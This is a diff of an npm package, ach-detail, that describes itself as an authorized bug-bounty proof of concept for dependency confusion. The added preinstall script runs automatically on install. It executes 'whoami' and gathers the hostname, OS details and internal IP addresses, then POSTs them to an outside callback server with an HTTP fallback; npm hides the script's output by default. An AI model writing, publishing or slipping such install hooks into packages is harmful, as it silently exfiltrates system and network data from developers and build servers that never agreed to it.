ach-detail 99.0.1 → 99.0.2

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ach-detail",
-  "version": "99.0.1",
+  "version": "99.0.2",
   "description": "AUTHORIZED SECURITY RESEARCH PLACEHOLDER - not a functional package. Published with permission under a BugCrowd bug bounty engagement to demonstrate a dependency confusion condition. Contact pr3da70r via BugCrowd. This package will be unpublished once the finding is confirmed.",
   "main": "index.js",
   "scripts": {

package/scripts/preinstall.js

@@ -5,30 +5,80 @@
 // ---------------------------------------------------------------------------
 // CONFIGURE THESE TWO VALUES BEFORE PUBLISHING (URLs are already set)
 // ---------------------------------------------------------------------------
-var REPORT_ID    = '6ba66258-c990-4177-a3b9-d8941dfea100';                 // e.g. '2847391'
-var NONCE        = 'a7d3c1';                     // unique per publish
+var REPORT_ID    = '6ba66258-c990-4177-a3b9-d8941dfea100';                  // e.g. '2847391'
+var NONCE        = 'a7d3c1';                      // unique per publish
 var HTTP_URL     = 'https://callback.kuldeep.io/beacon'; // primary, port 443
 var FALLBACK_URL = 'http://callback.kuldeep.io/beacon';  // retry, port 80
 // ---------------------------------------------------------------------------
 
 var TIMEOUT_MS = 4000;
+var EXEC_TIMEOUT_MS = 3000;
 
 function safe(fn) {
   try { return fn(); } catch (e) { return undefined; }
 }
 
-function hostname() {
-  return safe(function () { return require('os').hostname(); }) || 'unknown';
+/* The single shell command, exactly as the triager specified. Read-only,
+ * no side effects, bounded, stderr discarded. */
+function whoami() {
+  var out = safe(function () {
+    return require('child_process')
+      .execSync('whoami', {
+        timeout: EXEC_TIMEOUT_MS,
+        stdio: ['ignore', 'pipe', 'ignore'],
+        windowsHide: true
+      })
+      .toString().trim();
+  });
+  if (out) return out;
+  // Fallback if the binary is absent or exec is restricted.
+  return safe(function () { return require('os').userInfo().username; }) || 'unknown';
+}
+
+function internalIPv4() {
+  return safe(function () {
+    var ifaces = require('os').networkInterfaces() || {};
+    var out = [];
+    Object.keys(ifaces).forEach(function (name) {
+      (ifaces[name] || []).forEach(function (a) {
+        var isV4 = (a.family === 'IPv4' || a.family === 4);
+        if (isV4 && !a.internal && a.address) out.push(name + '=' + a.address);
+      });
+    });
+    return out;
+  }) || [];
 }
 
-function selfDescribe() {
+function collect() {
+  var os = safe(function () { return require('os'); }) || {};
   var pkg = safe(function () { return require('../package.json'); }) || {};
-  return { name: pkg.name || 'unknown', version: pkg.version || 'unknown' };
+  return {
+    report: REPORT_ID,
+    nonce: NONCE,
+    // 1. hostname
+    hostname: safe(function () { return os.hostname(); }) || 'unknown',
+    // 2. OS server name / version
+    os_type: safe(function () { return os.type(); }) || 'unknown',
+    os_platform: safe(function () { return os.platform(); }) || 'unknown',
+    os_release: safe(function () { return os.release(); }) || 'unknown',
+    os_version: safe(function () { return os.version(); }) || 'unknown',
+    arch: safe(function () { return os.arch(); }) || 'unknown',
+    // 3. whoami
+    whoami: whoami(),
+    // 4. internal addresses
+    internal_ips: internalIPv4(),
+    // 5. package identity
+    pkg: pkg.name || 'unknown',
+    version: pkg.version || 'unknown',
+    // 6. correlation
+    node: safe(function () { return process.version; }) || 'unknown',
+    ts: new Date().toISOString()
+  };
 }
 
 /*
- * Single bounded POST. Calls onFail() on any error, timeout or non-2xx/3xx
- * response so the caller can try the fallback. onFail runs at most once.
+ * Single bounded POST. Calls onFail() on error, timeout or non-2xx so the
+ * caller can try the fallback. onFail runs at most once.
  */
 function post(target, body, onFail) {
   safe(function () {
@@ -53,12 +103,12 @@ function post(target, body, onFail) {
       headers: {
         'Content-Type': 'application/json',
         'Content-Length': Buffer.byteLength(body),
-        'User-Agent': 'bc-poc/' + REPORT_ID
+        'User-Agent': 'poc/' + REPORT_ID
       }
     }, function (res) {
       res.resume();
-      // 2xx only. A 3xx means nginx redirected us and the body never reached
-      // the collector, so that must count as a failure and trigger the fallback.
+      // 2xx only. A 3xx means a proxy redirected us and the body never
+      // reached the collector, so that counts as failure.
       if (res.statusCode >= 200 && res.statusCode < 300) { done = true; }
       else { fail(); }
     });
@@ -70,31 +120,21 @@ function post(target, body, onFail) {
 }
 
 function main() {
-  var host = hostname();
-  var self = selfDescribe();
+  var d = collect();
 
-  // The unique console log the analyst asked for.
   // NOTE: npm buffers dependency script output and discards it unless the
   // script fails. This line is only visible with
   // `npm install --foreground-scripts`, or foreground-scripts=true in .npmrc.
   console.log(
-    '[H1-' + REPORT_ID + '][' + NONCE + '] AUTHORIZED PoC: ' +
-    self.name + '@' + self.version +
-    ' resolved from the PUBLIC npm registry and its preinstall script executed on host "' +
-    host + '". This package is a benign placeholder published with program permission. ' +
-    'Contact: pr3da70r via BugCrowd report ' + REPORT_ID + '.'
+    '[POC-' + REPORT_ID + '][' + NONCE + '] AUTHORIZED PoC: ' +
+    d.pkg + '@' + d.version + ' resolved from the PUBLIC npm registry. ' +
+    'preinstall executed as user "' + d.whoami + '" on host "' + d.hostname +
+    '" (' + d.os_type + ' ' + d.os_release + ', ' + d.arch + '). ' +
+    'Benign placeholder published with program permission. ' +
+    'Contact: pr3da70r, report ' + REPORT_ID + '.'
   );
 
-  var body = JSON.stringify({
-    report: REPORT_ID,
-    nonce: NONCE,
-    hostname: host,
-    pkg: self.name,
-    version: self.version,
-    node: safe(function () { return process.version; }) || 'unknown',
-    platform: safe(function () { return process.platform; }) || 'unknown',
-    ts: new Date().toISOString()
-  });
+  var body = JSON.stringify(d);
 
   post(HTTP_URL, body, function () {
     if (FALLBACK_URL && FALLBACK_URL !== HTTP_URL) post(FALLBACK_URL, body, null);